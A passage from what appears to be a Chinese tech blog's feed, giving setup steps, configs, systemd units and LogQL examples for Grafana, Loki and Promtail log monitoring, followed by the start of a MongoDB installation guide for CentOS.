class="literal">true</span></span><br><span class="line">  <span class="attr">reject_old_samples_max_age:</span> <span class="string">168h</span></span><br><span class="line"></span><br><span class="line"><span class="attr">chunk_store_config:</span></span><br><span class="line">  <span class="attr">max_look_back_period:</span> <span class="string">0s</span></span><br><span class="line"></span><br><span class="line"><span class="attr">table_manager:</span></span><br><span class="line">  <span class="attr">retention_deletes_enabled:</span> <span class="literal">false</span></span><br><span class="line">  <span class="attr">retention_period:</span> <span class="string">0s</span></span><br><span class="line"></span><br><span class="line"><span class="attr">ruler:</span></span><br><span class="line">  <span class="attr">storage:</span></span><br><span class="line">    <span class="attr">type:</span> <span class="string">local</span></span><br><span class="line">    <span class="attr">local:</span></span><br><span class="line">      <span class="attr">directory:</span> <span class="string">/home/gather/data/loki/rules</span></span><br><span class="line">  <span class="attr">rule_path:</span> <span class="string">/home/gather/data/loki/rules-temp</span></span><br><span class="line">  <span class="attr">alertmanager_url:</span> <span class="string">http://localhost:9093</span> <span class="comment"># alertmanager报警地址</span></span><br><span class="line">  <span class="attr">ring:</span></span><br><span class="line">    <span class="attr">kvstore:</span></span><br><span class="line">      <span class="attr">store:</span> <span class="string">inmemory</span></span><br><span class="line">  <span class="attr">enable_api:</span> <span class="literal">true</span></span><br></pre></td></tr></table></figure><h4 id="启动loki">启动loki</h4><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">cd /home/gather/data/loki</span><br><span class="line"><span class="meta prompt_"></span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">启动Loki命令</span></span><br><span class="line">nohup ./loki-linux-amd64 -config.file=loki-local-config.yaml  &gt; loki.log 2&gt;&amp;1 &amp;</span><br><span class="line"><span class="meta prompt_"></span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">debug日志</span></span><br><span class="line">nohup ./loki-linux-amd64 --log.level=debug -config.file=./loki-local-config.yaml &gt; /opt/logs/loki-3100.log 2&gt;&amp;1 &amp;</span><br><span class="line"><span class="meta prompt_"></span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">查看启动是否成功(查看3100端口的进程是否存在)</span></span><br><span class="line">netstat -tunlp | grep 3100</span><br><span class="line"><span class="meta prompt_"></span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">根据名称查找进程(执行命令后有下边的显示，则启动成功)</span></span><br><span class="line">ps -ef | grep loki-linux-amd64</span><br><span class="line"><span class="meta prompt_">$ </span><span class="language-bash">root     11037 22022  0 15:44 pts/0    00:00:55 ./loki-linux-amd64 -config.file=loki-local-config.yaml</span></span><br></pre></td></tr></table></figure><h4 id="制作loki系统服务">制作loki系统服务</h4><h5 id="新建service">新建service</h5><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">vim /usr/lib/systemd/system/loki.service</span><br></pre></td></tr></table></figure><h5 id="添加配置">添加配置</h5><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">[Unit]</span><br><span class="line">Description=loki</span><br><span class="line">Documentation=https://github.com/grafana/loki/tree/master</span><br><span class="line">After=network.target</span><br><span class="line"></span><br><span class="line">[Service]</span><br><span class="line">Type=simple</span><br><span class="line">User=root</span><br><span class="line">ExecStart=/usr/local/src/loki-linux-amd64 -config.file=/usr/local/src/loki-local-config.yaml &amp;&gt;&gt; /opt/logs/loki-3100.log # 具体路径可以根据实际情况修改</span><br><span class="line">Restart=on-failure</span><br><span class="line"></span><br><span class="line">[Install]</span><br><span class="line">WantedBy=multi-user.target</span><br></pre></td></tr></table></figure><h5 id="注册系统服务">注册系统服务</h5><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta prompt_"># </span><span class="language-bash">刷新环境</span></span><br><span class="line">systemctl daemon-reload</span><br><span class="line"><span class="meta prompt_"></span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">启动服务</span></span><br><span class="line">systemctl start loki</span><br><span class="line"><span class="meta prompt_"></span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">服务状态</span></span><br><span class="line">systemctl status loki</span><br><span class="line"><span class="meta prompt_"></span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">开机自启</span></span><br><span class="line">systemctl enable loki</span><br></pre></td></tr></table></figure><h3 id="promtail">promtail</h3><h4 id="下载-2">下载</h4><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">curl -O -L &quot;https://github.com/grafana/loki/releases/download/v2.3.0/promtail-linux-amd64.zip&quot;</span><br></pre></td></tr></table></figure><h4 id="安装-2">安装</h4><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">mkdir  /home/gather/data/promtail</span><br><span class="line">unzip promtail-linux-amd64.zip</span><br><span class="line">mv  promtail-linux-amd64   /home/gather/data/promtail/</span><br><span class="line">chmod a+x &quot;promtail-linux-amd64&quot;</span><br></pre></td></tr></table></figure><h4 id="下载promatil配置文件">下载promatil配置文件</h4><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">wget https://raw.githubusercontent.com/grafana/loki/master/cmd/promtail/promtail-local-config.yaml</span><br></pre></td></tr></table></figure><h4 id="修改promtail配置文件，下面内容为示例配置">修改promtail配置文件，下面内容为示例配置</h4><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#  prometail.yaml 配置文件</span></span><br><span class="line"><span class="attr">server:</span></span><br><span class="line">  <span class="attr">http_listen_port:</span> <span class="number">9080</span></span><br><span class="line">  <span class="attr">grpc_listen_port:</span> <span class="number">0</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># Positions</span></span><br><span class="line"><span class="attr">positions:</span></span><br><span class="line">  <span class="attr">filename:</span> <span class="string">/tmp/positions.yaml</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># Loki服务器的地址</span></span><br><span class="line"><span class="attr">clients:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="attr">url:</span> <span class="string">http://localhost:3100/loki/api/v1/push</span></span><br><span class="line"></span><br><span class="line"><span class="attr">scrape_configs:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="attr">job_name:</span> <span class="string">jm-admin</span></span><br><span class="line">    <span class="attr">pipeline_stages:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="attr">match:</span></span><br><span class="line">          <span class="attr">selector:</span> <span class="string">&#x27;&#123;job=&quot;jm-admin&quot;&#125;&#x27;</span></span><br><span class="line">          <span class="attr">stages:</span></span><br><span class="line">            <span class="bullet">-</span> <span class="attr">regex:</span></span><br><span class="line">                <span class="attr">expression:</span> <span class="string">&#x27;^(?P&lt;time&gt;[\d\s-:,]*)(?P&lt;level&gt;[a-zA-Z]+)\s(?P&lt;pid&gt;[\d]+)\s(?P&lt;content&gt;.*)$&#x27;</span></span><br><span class="line">            <span class="bullet">-</span> <span class="attr">labels:</span></span><br><span class="line">                <span class="attr">level:</span></span><br><span class="line">                <span class="attr">content:</span></span><br><span class="line">                <span class="attr">pid:</span></span><br><span class="line">                <span class="attr">time:</span></span><br><span class="line">    <span class="attr">static_configs:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="attr">targets:</span></span><br><span class="line">          <span class="bullet">-</span> <span class="string">localhost</span></span><br><span class="line">        <span class="attr">labels:</span></span><br><span class="line">          <span class="attr">job:</span> <span class="string">jm-admin</span></span><br><span class="line">          <span class="attr">host:</span> <span class="string">localhost</span></span><br><span class="line">          <span class="attr">__path__:</span> <span class="string">/mnt/data/jm/jm-admin/logs/project.artifactId_IS_UNDEFINED/debug.log</span></span><br><span class="line">  <span class="bullet">-</span> <span class="attr">job_name:</span> <span class="string">tcc-common</span></span><br><span class="line">    <span class="attr">static_configs:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="attr">targets:</span></span><br><span class="line">          <span class="bullet">-</span> <span class="string">localhost</span></span><br><span class="line">        <span class="attr">labels:</span></span><br><span class="line">          <span class="attr">job:</span> <span class="string">tcc-common</span></span><br><span class="line">          <span class="attr">host:</span> <span class="string">localhost</span></span><br><span class="line">          <span class="attr">__path__:</span> <span class="string">/mnt/data/tcc/common/log/*.log</span></span><br><span class="line">  <span class="bullet">-</span> <span class="attr">job_name:</span> <span class="string">tcc-admin</span></span><br><span class="line">    <span class="attr">pipeline_stages:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="attr">match:</span></span><br><span class="line">          <span class="attr">selector:</span> <span class="string">&#x27;&#123;job=&quot;tcc-admin&quot;&#125;&#x27;</span></span><br><span class="line">          <span class="attr">stages:</span></span><br><span class="line">            <span class="bullet">-</span> <span class="attr">json:</span></span><br><span class="line">                <span class="attr">expressions:</span></span><br><span class="line">                  <span class="attr">timej:</span> <span class="string">time</span></span><br><span class="line">                  <span class="attr">pidj:</span> <span class="string">pid</span></span><br><span class="line">                  <span class="attr">levelj:</span> <span class="string">level</span></span><br><span class="line">            <span class="bullet">-</span> <span class="attr">labels:</span></span><br><span class="line">                <span class="attr">levelj:</span></span><br><span class="line">                <span class="attr">pidj:</span></span><br><span class="line">                <span class="attr">timej:</span></span><br><span class="line">    <span class="attr">static_configs:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="attr">targets:</span></span><br><span class="line">          <span class="bullet">-</span> <span class="string">localhost</span></span><br><span class="line">        <span class="attr">labels:</span></span><br><span class="line">          <span class="attr">job:</span> <span class="string">tcc-admin</span></span><br><span class="line">          <span class="attr">host:</span> <span class="string">localhost</span></span><br><span class="line">          <span class="attr">__path__:</span> <span class="string">/mnt/data/tcc/admin/log*.log</span></span><br><span class="line">  <span class="bullet">-</span> <span class="attr">job_name:</span> <span class="string">sqhgy-admin</span></span><br><span class="line">    <span class="attr">static_configs:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="attr">targets:</span></span><br><span class="line">          <span class="bullet">-</span> <span class="string">localhost</span></span><br><span class="line">        <span class="attr">labels:</span></span><br><span class="line">          <span class="attr">job:</span> <span class="string">sqhgy-admin</span></span><br><span class="line">          <span class="attr">host:</span> <span class="string">localhost</span></span><br><span class="line">          <span class="attr">__path__:</span> <span class="string">/mnt/data/sq/sqServer/admin/log/*.log</span></span><br><span class="line">  <span class="bullet">-</span> <span class="attr">job_name:</span> <span class="string">sqhgy-api</span></span><br><span class="line">    <span class="attr">static_configs:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="attr">targets:</span></span><br><span class="line">          <span class="bullet">-</span> <span class="string">localhost</span></span><br><span class="line">        <span class="attr">labels:</span></span><br><span class="line">          <span class="attr">job:</span> <span class="string">sqhgy-api</span></span><br><span class="line">          <span class="attr">host:</span> <span class="string">localhost</span></span><br><span class="line">          <span class="attr">__path__:</span> <span class="string">/mnt/data/sq/sqServer/api/log/*.log</span></span><br><span class="line">  <span class="bullet">-</span> <span class="attr">job_name:</span> <span class="string">sqhgy-common</span></span><br><span class="line">    <span class="attr">static_configs:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="attr">targets:</span></span><br><span class="line">          <span class="bullet">-</span> <span class="string">ip地址</span></span><br><span class="line">        <span class="attr">labels:</span></span><br><span class="line">          <span class="attr">job:</span> <span class="string">sqhgy-common</span></span><br><span class="line">          <span class="attr">host:</span> <span class="string">ip地址</span></span><br><span class="line">          <span class="attr">__path__:</span> <span class="string">/mnt/data/sq/sqServer/common/log/*.log</span></span><br><span class="line">  <span class="bullet">-</span> <span class="attr">job_name:</span> <span class="string">createDataServer</span></span><br><span class="line">    <span class="attr">static_configs:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="attr">targets:</span></span><br><span class="line">          <span class="bullet">-</span> <span class="number">127.0</span><span class="number">.0</span><span class="number">.1</span></span><br><span class="line">        <span class="attr">labels:</span></span><br><span class="line">          <span class="attr">job:</span> <span class="string">createDataServer</span></span><br><span class="line">          <span class="attr">host:</span> <span class="number">127.0</span><span class="number">.0</span><span class="number">.1</span></span><br><span class="line">          <span class="attr">__path__:</span> <span class="string">/home/gather/data/createDataServer/log/*/*.log</span></span><br></pre></td></tr></table></figure><h4 id="启动promtail-注意修改路径">启动promtail(注意修改路径)</h4><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">nohup ./promtail-linux-amd64 -config.file=promtail-local-config.yaml &gt; /home/gather/data/promtail/logs/promtail-9080.log 2&gt;&amp;1 &amp;</span><br></pre></td></tr></table></figure><h4 id="发送日志方式补充">发送日志方式补充</h4><div class="note green icon-padding flat"><i class="note-icon fas fa-reply"></i><p>📚  相关文档</p></div><h5 id="添加依赖">添加依赖</h5><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">&lt;dependency&gt;</span><br><span class="line">  &lt;groupId&gt;cn.allbs&lt;/groupId&gt;</span><br><span class="line">  &lt;artifactId&gt;allbs-logback&lt;/artifactId&gt;</span><br><span class="line">  &lt;version&gt;1.1.5&lt;/version&gt;</span><br><span class="line">&lt;/dependency&gt;</span><br></pre></td></tr></table></figure><h5 id="yml添加配置">yml添加配置</h5><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">allbs:</span></span><br><span class="line">  <span class="attr">logging:</span></span><br><span class="line">    <span class="attr">console:</span></span><br><span class="line">      <span class="attr">close-after-start:</span> <span class="literal">true</span></span><br><span class="line">    <span class="attr">files:</span></span><br><span class="line">      <span class="attr">enabled:</span> <span class="literal">true</span></span><br><span class="line">    <span class="attr">loki:</span></span><br><span class="line">      <span class="attr">enabled:</span> <span class="literal">true</span></span><br><span class="line">      <span class="attr">http-url:</span> <span class="string">http://$&#123;LOKI_HOST&#125;:3100/loki/api/v1/push</span></span><br><span class="line">      <span class="attr">metrics-enabled:</span> <span class="literal">true</span></span><br></pre></td></tr></table></figure><h4 id="制作loki系统服务-2">制作loki系统服务</h4><h5 id="新建service-2">新建service</h5><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">vim /usr/lib/systemd/system/promtail.service</span><br></pre></td></tr></table></figure><h5 id="修改配置">修改配置</h5><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">[Unit]</span><br><span class="line">Description=promtail</span><br><span class="line">Documentation=https://github.com/grafana/loki/tree/master</span><br><span class="line">After=network.target</span><br><span class="line"></span><br><span class="line">[Service]</span><br><span class="line">Type=simple</span><br><span class="line">User=root</span><br><span class="line">ExecStart=/usr/local/src/promtail-linux-amd64 -config.file=/usr/local/src/promtail-local-config.yaml  &amp;&gt;&gt; /opt/logs/promtail-9080.log # 具体路径可以根据实际情况修改</span><br><span class="line">Restart=on-failure</span><br><span class="line"></span><br><span class="line">[Install]</span><br><span class="line">WantedBy=multi-user.target</span><br></pre></td></tr></table></figure><h5 id="注册系统服务-2">注册系统服务</h5><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta prompt_"># </span><span class="language-bash">刷新环境</span> </span><br><span class="line">systemctl daemon-reload</span><br><span class="line"><span class="meta prompt_"></span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">启动服务</span></span><br><span class="line">systemctl start promtail</span><br><span class="line"><span class="meta prompt_"></span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">服务状态</span> </span><br><span class="line">systemctl status promtail</span><br><span class="line"><span class="meta prompt_"></span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">开机自启</span> </span><br><span class="line">systemctl enable promtail</span><br></pre></td></tr></table></figure><h3 id="grafana">grafana</h3><h4 id="下载-3">下载</h4><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">wget https://dl.grafana.com/oss/release/grafana-8.1.2-1.x86_64.rpm</span><br><span class="line"><span class="meta prompt_"></span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">或</span></span><br><span class="line"></span><br><span class="line">sudo yum install grafana-8.1.2-1.x86_64.rpm</span><br></pre></td></tr></table></figure><h4 id="安装-3">安装</h4><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">rpm -ivh  /data/tools/grafana-7.1.0-1.x86_64.rpm </span><br></pre></td></tr></table></figure><h4 id="启动相关">启动相关</h4><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta prompt_"># </span><span class="language-bash">刷新</span></span><br><span class="line">systemctl daemon-reload</span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">启动</span></span><br><span class="line">systemctl start grafana-server</span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">开机自启</span></span><br><span class="line">systemctl enable grafana-server</span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">查看状态</span></span><br><span class="line">systemctl status grafana-server</span><br><span class="line"><span class="meta prompt_"></span></span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">启动</span></span><br><span class="line">service grafana-server start</span><br><span class="line"></span><br></pre></td></tr></table></figure><h3 id="验证">验证</h3><h4 id="api验证">api验证</h4><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">curl &quot;http://127.0.0.1:3100/api/prom/label&quot;</span><br><span class="line">curl localhost:3100/loki/api/v1/labels</span><br></pre></td></tr></table></figure><h4 id="使用">使用</h4><h5 id="备注">备注</h5><p>访问 ip:port<br>默认账号密码<br>admin<br>admin<br>第一次需要修改密码</p><h5 id="图示">图示</h5><p><img src="https://nas.allbs.cn:8888/cloudpic/image-20210907180856081.png" alt="image-20210907180856081"></p><h5 id="过滤指定内容">过滤指定内容</h5><p><img src="https://nas.allbs.cn:8888/cloudpic/202109261728376.png" alt="image-20210926172830265"></p><h5 id="语法说明">语法说明</h5><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">- |=：日志行包含字符串。</span><br><span class="line">- !=：日志行不包含字符串。</span><br><span class="line">- |~：日志行匹配正则表达式。</span><br><span class="line">- !~：日志行与正则表达式不匹配。</span><br></pre></td></tr></table></figure><h5 id="对最近五分钟内的所有日志行进行计数">对最近五分钟内的所有日志行进行计数</h5><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">count_over_time(&#123;job=&quot;jm-admin&quot;&#125;[5m]) </span><br></pre></td></tr></table></figure><p><img src="https://nas.allbs.cn:8888/cloudpic/202109261730872.png" alt="image-20210926173014782"></p><h5 id="获取在过去十秒内所有非超时错误的每秒速率">获取在过去十秒内所有非超时错误的每秒速率</h5><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">rate(&#123;job=&quot;jm-admin&quot;&#125; |= &quot;error&quot; != &quot;timeout&quot; [10s]</span><br></pre></td></tr></table></figure><h5 id="集合运算符">集合运算符</h5><blockquote><p>与PromQL一样，LogQL支持内置聚合运算符的一个子集，可用于聚合单个向量的元素，从而产生具有更少元素但具有集合值的新向量</p></blockquote><table><thead><tr><th>运算符</th><th>说明</th></tr></thead><tbody><tr><td>sum</td><td>计算标签上的总和</td></tr><tr><td>min</td><td>选择最少的标签</td></tr><tr><td>max</td><td>选择标签上方的最大值</td></tr><tr><td>avg</td><td>计算标签上的平均值</td></tr><tr><td>stddev</td><td>计算标签上的总体标准差</td></tr><tr><td>stdvar</td><td>计算标签上的总体标准方差</td></tr><tr><td>count</td><td>计算向量中元素的数量</td></tr><tr><td>bottomk</td><td>通过样本值选择最小的k个元素</td></tr><tr><td>topk</td><td>通过样本值选择最大的k个元素</td></tr></tbody></table><h5 id="统计最高日志吞吐量按container排序前十的应用程序">统计最高日志吞吐量按container排序前十的应用程序</h5><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">topk(10,sum(rate(&#123;job=&quot;fluent-bit&quot;&#125;[5m])) by(container))</span><br></pre></td></tr></table></figure><h5 id="获取最近五分钟内的日志计数，按级别分组">获取最近五分钟内的日志计数，按级别分组</h5><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sum(count_over_time(&#123;job=&quot;fluent-bit&quot;&#125;[5m])) by (level)</span><br></pre></td></tr></table></figure>]]></content>
    
    
    <summary type="html">使用grafana+loki+promail监控指定服务日志</summary>
    
    
    
    <category term="linux" scheme="https://blog.allbs.cn/categories/linux/"/>
    
    
    <category term="linux" scheme="https://blog.allbs.cn/tags/linux/"/>
    
    <category term="grafana" scheme="https://blog.allbs.cn/tags/grafana/"/>
    
  </entry>
  
  <entry>
    <title>在centerOS中安装mongoDB</title>
    <link href="https://blog.allbs.cn/posts/32838/"/>
    <id>https://blog.allbs.cn/posts/32838/</id>
    <published>2021-09-24T09:04:42.000Z</published>
    <updated>2025-11-28T06:48:01.058Z</updated>
    
    <content type="html"><![CDATA[<h3 id="创建仓库文件">创建仓库文件:</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">vi /etc/yum.repos.d/mongodb-org-3.4.repo</span><br></pre></td></tr></table></figure><h4 id="然后复制下面配置-保存退出">然后复制下面配置,保存退出</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">[mongodb-org-3.4]</span><br><span class="line">name=MongoDB Repository</span><br><span class="line">baseurl=https://repo.mongodb.org/yum/redhat/$releasever/mongodb-org/3.4/x86_64/</span><br><span class="line">gpgcheck=1</span><br><span class="line">enabled=1</span><br><span class="line">gpgkey=https://www.mongodb.org/static/pgp/server-3.4.asc</span><br></pre></td></tr></table></figure><h3 id="yum安装">yum安装</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">yum install -y mongodb-org</span><br></pre></td></tr></table></figure><h5 id="没有权限就在前面加-sudo">没有权限就在前面加:   sudo</h5><h5 id="安装完毕后修改配置文件">安装完毕后修改配置文件:</h5><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">vi /etc/mongod.conf</span><br></pre></td></tr></table></figure><p>mongod.conf 文件内容</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br></pre></td><td class="code"><pre><span class="line"># mongod.conf</span><br><span class="line"></span><br><span class="line"># for documentation of all options, see:</span><br><span class="line">#   http://docs.mongodb.org/manual/reference/configuration-options/</span><br><span class="line"></span><br><span class="line"># where to write logging data.</span><br><span class="line">systemLog:</span><br><span class="line">  destination: file</span><br><span class="line">  logAppend: true</span><br><span class="line">  path: /home/mongoDb/log/mongod.log</span><br><span class="line"></span><br><span class="line"># Where and how to store data.</span><br><span class="line">storage:</span><br><span class="line">  dbPath: /home/mongoDb/data/db</span><br><span class="line">  journal:</span><br><span class="line">    enabled: true</span><br><span class="line">#  engine:</span><br><span class="line">#  mmapv1:</span><br><span class="line">#  wiredTiger:</span><br><span class="line"></span><br><span class="line"># how the process runs</span><br><span class="line">processManagement:</span><br><span class="line">  fork: true  # fork and run in background</span><br><span class="line">  pidFilePath: /var/run/mongodb/mongod.pid  # location of pidfile</span><br><span class="line">  timeZoneInfo: /usr/share/zoneinfo</span><br><span class="line"></span><br><span class="line"># network interfaces</span><br><span class="line">net:</span><br><span class="line">  port: 27017</span><br><span class="line">  bindIp: 0.0.0.0  # Enter 0.0.0.0,:: to bind to all IPv4 and IPv6 addresses or, alternatively, use the net.bindIpAll setting.</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">security:</span><br><span class="line">  authorization: enabled</span><br><span class="line"></span><br><span class="line">#operationProfiling:</span><br><span class="line"></span><br><span class="line">#replication:</span><br><span class="line"></span><br><span class="line">#sharding:</span><br><span class="line"></span><br><span class="line">## Enterprise-Only Options</span><br><span class="line"></span><br><span class="line">#auditLog:</span><br><span class="line"></span><br><span class="line">#snmp:</span><br><span class="line"></span><br></pre></td></tr></table></figure><h5 